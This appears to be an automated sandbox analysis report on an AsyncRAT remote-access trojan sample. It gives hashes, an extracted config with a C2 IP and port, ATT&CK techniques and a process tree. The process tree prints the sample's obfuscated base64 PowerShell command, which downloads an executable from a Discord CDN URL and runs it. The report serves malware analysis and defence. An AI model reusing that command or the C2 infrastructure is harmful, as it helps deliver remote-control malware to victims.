asyncrat | 1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191

General

Target

1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe
Size

6KB
MD5

15b3b3645fee0733a659ef1b014abfc8
SHA1

fc93b58d612838b82e0935768165ec8417118dc6
SHA256

1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191
SHA512

4e661d5032f40f967787743caa761e12cbb67eee822359c20a0f1bf0cf1ca57a136a0b5054802e168565dcf779c9b308174cb90d4daa873c7e7331334b3a3ebf
SSDEEP

96:to79BlVCFWZJnNp5Nv8l/5k7Kxd3ojarl:t+9BKFW3Np5d8l/5pxd7

Score

10^/10

asyncrat defendersmartscren rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

C2

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/4176-147-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

47 3404 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

asd1113.exe

pid process

3364 asd1113.exe

flow	pid	process
47	3404	powershell.exe

pid	process
3364	asd1113.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

asd1113.exe

description pid process target process

PID 3364 set thread context of 4176 3364 asd1113.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3404 powershell.exe
3404 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeasd1113.exe

description pid process

Token: SeDebugPrivilege 3404 powershell.exe
Token: SeDebugPrivilege 3364 asd1113.exe

description	pid	process	target process
PID 3364 set thread context of 4176	3364	asd1113.exe	RegAsm.exe

pid	process
3404	powershell.exe
3404	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3364	asd1113.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exepowershell.exeasd1113.exe

description	pid	process	target process
PID 5108 wrote to memory of 3404	5108	1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe	powershell.exe
PID 5108 wrote to memory of 3404	5108	1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe	powershell.exe
PID 3404 wrote to memory of 3364	3404	powershell.exe	asd1113.exe
PID 3404 wrote to memory of 3364	3404	powershell.exe	asd1113.exe
PID 3404 wrote to memory of 3364	3404	powershell.exe	asd1113.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe
PID 3364 wrote to memory of 4176	3364	asd1113.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe
"C:\Users\Admin\AppData\Local\Temp\1114865b74ade384252ae949c4cc358114115915a12b642bdbab297f52864191.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAZwBqACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQAyADEANQAzADkANQAxADAANgA1ADIAMgA3ADIANgA0AC8AMQAwADUAMgAxADUANAA2ADEANwA0ADEAOAA0ADgANQA4ADMAMAAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAZQB3AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB2AGcAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAG0AcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAZAAxADEAMQAzAC4AZQB4AGUAJwApACkAPAAjAGIAdQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGMAZgBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB0AGkAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAZAAxADEAMQAzAC4AZQB4AGUAJwApADwAIwB2AHIAawAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3404

C:\Users\Admin\AppData\Roaming\asd1113.exe
"C:\Users\Admin\AppData\Roaming\asd1113.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3364

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:4176

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\asd1113.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
C:\Users\Admin\AppData\Roaming\asd1113.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
memory/3364-144-0x00000000070B0000-0x0000000007142000-memory.dmp

Filesize
584KB

Download
memory/3364-142-0x0000000000F20000-0x0000000001DD2000-memory.dmp

Filesize
14.7MB

Download
memory/3364-145-0x0000000007200000-0x000000000729C000-memory.dmp

Filesize
624KB

Download
memory/3364-143-0x00000000079A0000-0x0000000007F44000-memory.dmp

Filesize
5.6MB

Download
memory/3364-138-0x0000000000000000-mapping.dmp

Download
memory/3404-141-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Filesize
10.8MB

Download
memory/3404-133-0x0000000000000000-mapping.dmp

Download
memory/3404-136-0x000002E06D410000-0x000002E06D432000-memory.dmp

Filesize
136KB

Download
memory/3404-137-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Filesize
10.8MB

Download
memory/3404-135-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Filesize
10.8MB

Download
memory/4176-146-0x0000000000000000-mapping.dmp

Download
memory/4176-147-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/5108-134-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Filesize
10.8MB

Download
memory/5108-132-0x0000000000F90000-0x0000000000F98000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads